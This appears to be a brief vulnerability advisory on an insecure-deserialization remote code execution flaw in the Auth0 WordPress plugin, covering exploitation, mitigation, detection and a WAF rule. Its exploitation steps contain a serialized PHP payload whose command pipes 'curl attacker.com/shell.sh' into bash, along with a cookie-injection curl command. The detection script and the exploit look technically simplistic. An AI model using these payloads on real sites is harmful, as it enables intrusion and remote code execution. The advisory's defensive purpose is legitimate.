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How the CVE Works
The Auth0 WordPress plugin (versions 5.0.0-BETA0 to 5.0.1) fails to validate serialized data in cookies before deserialization. Attackers can craft malicious cookies containing serialized payloads, which, when processed by the plugin, execute arbitrary PHP code due to unsafe `unserialize()` usage. Since the plugin does not authenticate cookie data before deserialization, unauthorized remote code execution (RCE) becomes possible. This vulnerability stems from improper input sanitization in the authentication flow, where user-controlled cookies are trusted without verification.
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Platform: WordPress
Version: 5.0.0-BETA0 to 5.0.1
Vulnerability: Insecure Deserialization
Severity: Critical
Date: Jun 5, 2025
Prediction: Patch expected by Jun 12, 2025
What Undercode Say:
Exploitation:
1. Craft malicious serialized payload:
<?php
class Exploit { public $cmd = 'curl attacker.com/shell.sh | bash'; }
echo urlencode(serialize(new Exploit));
?>
2. Inject payload into Auth0 cookie:
curl -H "Cookie: auth0_data=$(malicious_payload)" http://target.com/wp-login
Protection:
- Immediate mitigation: Disable the Auth0 plugin or restrict cookie tampering via WAF rules.
2. Patch verification:
grep -r "unserialize" /wp-content/plugins/auth0/
3. Log analysis for exploitation attempts:
tail -f /var/log/apache2/access.log | grep -i "auth0_data"
Post-Patch Actions:
1. Force plugin update:
wp plugin update auth0 --force
2. Validate fixes:
if (class_exists('Auth0\SDK\Configuration')) {
echo "Patched version detected.";
}
Detection Script:
import requests
def check_vuln(url):
response = requests.get(url, cookies={"auth0_data": "test"}).text
return "unserialize()" in response
WAF Rule (ModSecurity):
SecRule REQUEST_COOKIES|auth0_data "@rx (?:O:\d+:)" "id:1001,deny,status:403"
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
